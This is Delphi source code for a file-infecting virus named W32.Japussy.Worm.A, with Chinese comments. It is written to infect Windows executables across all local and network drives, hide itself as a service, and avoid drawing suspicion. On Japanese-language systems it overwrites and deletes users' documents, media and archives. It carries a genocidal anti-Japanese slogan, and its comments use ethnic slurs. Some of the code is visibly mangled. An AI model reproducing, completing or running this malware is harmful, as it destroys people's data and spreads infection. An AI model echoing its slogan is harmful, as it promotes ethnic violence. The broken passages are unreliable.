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- program Japussy;
- uses
- Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
- const
- HeaderSize = 82432; //病毒体的大小
- IconOffset = $12EB8; //PE文件主图标的偏移量
- //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
- //查找2800000020的十六进制字符串可以找到主图标的偏移量
- {
- HeaderSize = 38912; //Upx压缩过病毒体的大小
- IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
- //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
- }
- IconSize = $2E8; //PE文件主图标的大小--744字节
- IconTail = IconOffset + IconSize; //PE文件主图标的尾部
- ID = $44444444; //感染标记
- //LJ码,以备写入
- Catchword = ''If a race need to be killed out, it must be Yamato. '' +
- ''If a country need to be destroyed, it must be Japan! '' +
- ''*** W32.Japussy.Worm.A ***'';
- {$R *.RES}
- function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
- stdcall; external ''Kernel32.dll''; //函数声明
- var
- TmpFile: string;
- Si: STARTUPINFO;
- Pi: PROCESS_INFORMATION;
- IsJap: Boolean = False; //日文操作系统标记
- { 判断是否为Win9x }
- function IsWin9x: Boolean;
- var
- Ver: TOSVersionInfo;
- begin
- Result := False;
- Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
- if not GetVersionEx(Ver) then
- Exit;
- if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
- Result := True;
- end;
- { 在流之间复制 }
- procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
- dStartPos: Integer; Count: Integer);
- var
- sCurPos, dCurPos: Integer;
- begin
- sCurPos := Src.Position;
- dCurPos := Dst.Position;
- Src.Seek(sStartPos, 0);
- Dst.Seek(dStartPos, 0);
- Dst.CopyFrom(Src, Count);
- Src.Seek(sCurPos, 0);
- Dst.Seek(dCurPos, 0);
- end;
- { 将宿主文件从已感染的PE文件中分离出来,以备使用 }
- procedure ExtractFile(FileName: string);
- var
- sStream, dStream: TFileStream;
- begin
- try
- sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
- try
- dStream := TFileStream.Create(FileName, fmCreate);
- try
- sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
- dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
- finally
- dStream.Free;
- end;
- finally
- sStream.Free;
- end;
- except
- end;
- end;
- { 填充STARTUPINFO结构 }
- procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
- begin
- Si.cb := SizeOf(Si);
- Si.lpReserved := nil;
- Si.lpDesktop := nil;
- Si.lpTitle := nil;
- Si.dwFlags := STARTF_USESHOWWINDOW;
- Si.wShowWindow := State;
- Si.cbReserved2 := 0;
- Si.lpReserved2 := nil;
- end;
- { 发带毒邮件 }
- procedure SendMail;
- begin
- //哪位仁兄愿意完成之?
- end;
- { 感染PE文件 }
- procedure InfectOneFile(FileName: string);
- var
- HdrStream, SrcStream: TFileStream;
- IcoStream, DstStream: TMemoryStream;
- iID: LongInt;
- aIcon: TIcon;
- Infected, IsPE: Boolean;
- i: Integer;
- Buf: array[0..1] of Char;
- begin
- try //出错则文件正在被使用,退出
- if CompareText(FileName, ''JAPUSSY.EXE'') = 0 then //是自己则不感染
- Exit;
- Infected := False;
- IsPE := False;
- SrcStream := TFileStream.Create(FileName, fmOpenRead);
- try
- for i := 0 to $108 do //检查PE文件头
- begin
- SrcStream.Seek(i, soFromBeginning);
- SrcStream.Read(Buf, 2);
- if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
- begin
- IsPE := True; //是PE文件
- Break;
- end;
- end;
- SrcStream.Seek(-4, soFromEnd); //检查感染标记
- SrcStream.Read(iID, 4);
- if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
- Infected := True;
- finally
- SrcStream.Free;
- end;
- if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
- Exit;
- IcoStream := TMemoryStream.Create;
- DstStream := TMemoryStream.Create;
- try
- aIcon := TIcon.Create;
- try
- //得到被感染文件的主图标(744字节),存入流
- aIcon.ReleaseHandle;
- aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
- aIcon.SaveToStream(IcoStream);
- finally
- aIcon.Free;
- end;
- SrcStream := TFileStream.Create(FileName, fmOpenRead);
- //头文件
- HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
- try
- //写入病毒体主图标之前的数据
- CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
- //写入目前程序的主图标
- CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
- //写入病毒体主图标到病毒体尾部之间的数据
- CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
- //写入宿主程序
- CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
- //写入已感染的标记
- DstStream.Seek(0, 2);
- iID := $44444444;
- DstStream.Write(iID, 4);
- finally
- HdrStream.Free;
- end;
- finally
- SrcStream.Free;
- IcoStream.Free;
- DstStream.SaveToFile(FileName); //替换宿主文件
- DstStream.Free;
- end;
- except;
- end;
- end;
- { 将目标文件写入LJ码后删除 }
- procedure SmashFile(FileName: string);
- var
- FileHandle: Integer;
- i, Size, Mass, Max, Len: Integer;
- begin
- try
- SetFileAttributes(PChar(FileName), 0); //去掉只读属性
- FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
- try
- Size := GetFileSize(FileHandle, nil); //文件大小
- i := 0;
- Randomize;
- Max := Random(15); //写入LJ码的随机次数
- if Max < 5 then
- Max := 5;
- Mass := Size div Max; //每个间隔块的大小
- Len := Length(Catchword);
- while i < Max do
- begin
- FileSeek(FileHandle, i * Mass, 0); //定位
- //写入LJ码,将文件彻底破坏掉
- FileWrite(FileHandle, Catchword, Len);
- Inc(i);
- end;
- finally
- FileClose(FileHandle); //关闭文件
- end;
- DeleteFile(PChar(FileName)); //删除之
- except
- end;
- end;
- { 获得可写的驱动器列表 }
- function GetDrives: string;
- var
- DiskType: Word;
- D: Char;
- Str: string;
- i: Integer;
- begin
- for i := 0 to 25 do //遍历26个字母
- begin
- D := Chr(i + 65);
- Str := D + ':';
- DiskType := GetDriveType(PChar(Str));
- //得到本地磁盘和网络盘
- if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
- Result := Result + D;
- end;
- end;
- { 遍历目录,感染和摧毁文件 }
- procedure LoopFiles(Path, Mask: string);
- var
- i, Count: Integer;
- Fn, Ext: string;
- SubDir: TStrings;
- SearchRec: TSearchRec;
- Msg: TMsg;
- function IsValidDir(SearchRec: TSearchRec): Integer;
- begin
- if (SearchRec.Attr '.') and
- (SearchRec.Name <> '..') then
- Result := 0 //不是目录
- else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
- (SearchRec.Name <> '..') then
- Result := 1 //不是根目录
- else Result := 2; //是根目录
- end;
- begin
- if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
- begin
- repeat
- PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
- if IsValidDir(SearchRec) = 0 then
- begin
- Fn := Path + SearchRec.Name;
- Ext := UpperCase(ExtractFileExt(Fn));
- if (Ext = '.EXE') or (Ext = '.SCR') then
- begin
- InfectOneFile(Fn); //感染可执行文件
- end
- else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
- begin
- //感染HTML和ASP文件,将Base64编码后的病毒写入
- //感染浏览此网页的所有用户
- //哪位大兄弟愿意完成之?
- end
- else if Ext = '.WAB' then //Outlook地址簿文件
- begin
- //获取Outlook邮件地址
- end
- else if Ext = '.ADC' then //Foxmail地址自动完成文件
- begin
- //获取Foxmail邮件地址
- end
- else if Ext = 'IND' then //Foxmail地址簿文件
- begin
- //获取Foxmail邮件地址
- end
- else
- begin
- if IsJap then //是倭文操作系统
- begin
- if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
- (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
- (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
- (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
- (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
- (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
- SmashFile(Fn); //摧毁文件
- end;
- end;
- end;
- //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
- Sleep(200);
- until (FindNext(SearchRec) <> 0);
- end;
- FindClose(SearchRec);
- SubDir := TStringList.Create;
- if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
- begin
- repeat
- if IsValidDir(SearchRec) = 1 then
- SubDir.Add(SearchRec.Name);
- until (FindNext(SearchRec) <> 0);
- end;
- FindClose(SearchRec);
- Count := SubDir.Count - 1;
- for i := 0 to Count do
- LoopFiles(Path + SubDir.Strings + '', Mask);
- FreeAndNil(SubDir);
- end;
- { 遍历磁盘上所有的文件 }
- procedure InfectFiles;
- var
- DriverList: string;
- i, Len: Integer;
- begin
- if GetACP = 932 then //日文操作系统
- IsJap := True; //去死吧!
- DriverList := GetDrives; //得到可写的磁盘列表
- Len := Length(DriverList);
- while True do //死循环
- begin
- for i := Len downto 1 do //遍历每个磁盘驱动器
- LoopFiles(DriverList + ':', '*.*'); //感染之
- SendMail; //发带毒邮件
- Sleep(1000 * 60 * 5); //睡眠5分钟
- end;
- end;
- { 主程序开始 }
- begin
- if IsWin9x then //是Win9x
- RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
- else //WinNT
- begin
- //远程线程映射到Explorer进程
- //哪位兄台愿意完成之?
- end;
- //如果是原始病毒体自己
- if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
- InfectFiles //感染和发邮件
- else //已寄生于宿主程序上了,开始工作
- begin
- TmpFile := ParamStr(0); //创建临时文件
- Delete(TmpFile, Length(TmpFile) - 4, 4);
- TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
- ExtractFile(TmpFile); //分离之
- FillStartupInfo(Si, SW_SHOWDEFAULT);
- CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
- 0, nil, '.', Si, Pi); //创建新进程运行之
- InfectFiles; //感染和发邮件
- end;
- end.
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